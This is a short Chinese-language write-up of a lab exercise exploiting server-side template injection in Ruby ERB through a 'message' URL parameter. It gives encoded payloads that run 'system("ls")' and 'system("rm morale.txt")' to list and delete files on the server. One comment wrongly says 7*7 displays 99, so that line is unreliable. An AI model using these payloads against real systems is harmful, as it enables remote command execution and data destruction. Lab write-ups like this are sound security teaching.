# SSTI Lab1 本題是標準的 ERB-based SSTI(Server-Side Template Injection),核心是 Ruby 的 ERB 模板語法被不安全地插入並渲染。。 一樣先進入網站。 ![image](https://hackmd.io/_uploads/rJMOyqLPxl.png) 在點擊商品的時候,URL 會直接列出所有的資料。 ![image](https://hackmd.io/_uploads/Hk6j19UDee.png) 說明 message 參數的內容被渲染到模板中,而在 ERB 中,`<%= ... %>` 會執行 Ruby 表達式並輸出結果,因此這裡測試 payload 會不會顯示: ```js <%25%3d+7*7+%25> //<%= 7*7 %> 的編碼,如果成功會顯示99 ``` ![image](https://hackmd.io/_uploads/B1fOxqUPel.png) ![image](https://hackmd.io/_uploads/HkH9xcIvgl.png) 顯然是可以的,而 Ruby 的 system("...") 可執行任意 OS 命令,不會有回傳值,但命令會生效,所以我先嘗試 ls。 ```js <%25=+system(%22ls%22)+%25> //<%= system("ls") %> 的編碼 ``` ![image](https://hackmd.io/_uploads/S1PcW5LDee.png) 找到目標檔案,所以直接 rm 刪除。 ```js <%25=+system(%22rm+morale.txt%22)+%25> //<%= system("rm morale.txt") %> 的編碼 ``` ![image](https://hackmd.io/_uploads/r1lxMq8vgl.png) ---